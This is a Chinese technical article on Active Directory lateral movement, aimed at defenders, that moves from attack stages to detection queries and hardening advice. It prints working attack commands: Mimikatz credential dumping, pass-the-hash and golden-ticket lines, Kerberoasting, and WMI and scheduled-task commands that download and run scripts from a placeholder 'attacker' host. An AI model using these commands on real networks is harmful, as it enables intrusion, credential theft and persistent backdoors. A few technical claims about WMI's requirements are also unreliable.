logo

内网渗透横向攻击:防御与反制全流程解析

作者:有好多问题2025.09.19 18:14浏览量:0

简介:本文深度剖析内网渗透横向攻击的完整流程,从信息收集到权限维持,结合攻击者视角与防御策略,为安全从业者提供系统性应对指南。

内网渗透横向攻击:防御与反制全流程解析

一、攻击前奏:信息收集与目标定位

1.1 边界突破后的信息收集

攻击者通过钓鱼邮件、0day漏洞或供应链攻击突破外网防线后,会立即启动内网信息收集。使用工具如BloodHound分析AD域结构,或通过PowerView模块执行Get-NetDomainController获取域控信息。此时需重点关注:

  • 域架构拓扑(单域/多域/林)
  • 信任关系(父子域、双向信任)
  • 关键系统分布(ERP、OA、数据库

1.2 横向移动路径规划

基于收集的信息,攻击者会构建攻击路径图。例如:

  1. # 使用PowerView枚举可访问的共享文件夹
  2. Find-InterestingDomainShareFile -Include *pass* *admin*
  3. # 识别高价值目标
  4. Get-NetComputer -FullData | Where-Object {$_.operatingsystem -like "*Server*"}

通过分析共享权限、本地管理员组(LAPS)和GPO策略,确定最优横向移动路线。

二、横向渗透核心技术

2.1 凭证获取与复用

2.1.1 明文凭证收集

  • 内存转储:使用Mimikatzsekurlsa::logonpasswords提取LSASS进程中的凭证
  • LSASS注入:通过procdump生成转储文件后离线分析
  • DPAPI密钥破解:获取浏览器保存的密码或WiFi凭证

2.1.2 哈希传递攻击(PtH)

  1. # 使用获取的NTLM哈希进行横向移动
  2. Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:contoso.com /ntlm:hash /run:powershell.exe"'

适用于未启用KB2871997补丁的系统,可绕过密码验证直接建立会话。

2.2 远程代码执行技术

2.2.1 WMI横向移动

  1. # 通过WMI执行远程命令
  2. $computer = "DC01"
  3. $script = {iex (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')}
  4. Invoke-WmiMethod -Path "Win32_Process" -Name Create -ArgumentList $script -ComputerName $computer

优势在于无需管理员权限即可执行简单命令,但需445端口开放。

2.2.2 PSExec与WinRM

  • PSExec:依赖\admin$共享和135端口,适合工作组环境
  • WinRM:通过5985/5986端口,需提前配置Enable-PSRemoting
    1. # 使用WinRM建立会话
    2. $sess = New-PSSession -ComputerName "SQL01" -Credential (Get-Credential)
    3. Invoke-Command -Session $sess -ScriptBlock {Get-Process}

2.3 域环境特权提升

2.3.1 Kerberoasting攻击

  1. # 请求所有SPN对应的TGS
  2. Add-Type -AssemblyName System.IdentityModel
  3. New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SQL01.contoso.com"
  4. # 使用Hashcat破解获取的TGS
  5. hashcat -m 13100 -a 0 tgs.kirbi dictionary.txt

通过破解服务账户的Kerberos票据获取明文密码。

2.3.2 黄金票据攻击

  1. # 伪造域控的TGT
  2. Invoke-Mimikatz -Command '"kerberos::golden /user:admin /domain:contoso.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'

可持久化访问整个域,但需获取krbtgt账户的哈希。

三、攻击维持与隐蔽技术

3.1 后门植入策略

  • 计划任务:创建隐蔽任务定期回连C2
    1. # 创建每10分钟执行的计划任务
    2. $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http://attacker/backdoor.ps1')`""
    3. $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10)
    4. Register-ScheduledTask -TaskName "SystemUpdate" -Action $action -Trigger $trigger -RunLevel Highest
  • WMI事件订阅:通过__EventFilter__EventConsumer实现持久化

3.2 流量隐藏技术

  • DNS隧道:使用dnscat2通过DNS查询传输数据
  • ICMP隧道:通过ptunnel封装TCP流量
  • 协议混淆:将C2流量伪装成HTTPS或RDP

四、防御体系构建

4.1 检测与响应机制

4.1.1 异常行为检测

  • 监控4624(登录成功)和4625(登录失败)事件,识别非常规登录时间/地点
  • 检测WMI进程创建异常(ProcessCreation事件ID 4688)
  • 分析Kerberos票据请求频率,识别Kerberoasting行为

4.1.2 威胁狩猎策略

  1. -- 查询非管理员账户执行敏感命令
  2. SELECT * FROM SecurityEvent
  3. WHERE EventID = 4688
  4. AND NewProcessName LIKE '%powershell%'
  5. AND UserName NOT LIKE '%-admin$'

4.2 纵深防御体系

  1. 网络分段:使用VLAN和ACL隔离关键系统
  2. 最小权限原则:实施LAPS管理本地管理员密码
  3. 补丁管理:优先修复MS17-010等高危漏洞
  4. 日志集中:部署SIEM系统(如Splunk、ELK)进行关联分析

五、实战案例分析

5.1 某金融企业攻击复现

  1. 初始突破:通过钓鱼邮件获取HR终端权限
  2. 横向移动
    • 使用Mimikatz获取HR管理员凭证
    • 通过PSExec横向至文件服务器
    • 利用BloodHound发现到域控的最短路径
  3. 特权提升:通过DCSync获取krbtgt哈希
  4. 数据窃取:伪造TGT访问核心业务系统

5.2 防御改进建议

  • 部署Credential Guard防止内存凭证窃取
  • 启用Protected Users组限制高权限账户登录
  • 实施Just-In-Time权限管理

六、未来趋势与应对

随着零信任架构的普及,横向攻击将面临更大挑战。建议企业:

  1. 采用SDP架构隐藏关键资源
  2. 实施持续认证机制
  3. 部署UEBA系统检测异常行为模式

本文详细解析了内网横向攻击的全流程,从信息收集到权限维持,提供了可操作的检测与防御方案。安全从业者应建立”攻击面管理-威胁检测-快速响应”的闭环体系,定期进行红蓝对抗演练,持续提升内网安全防护能力。

相关文章推荐

发表评论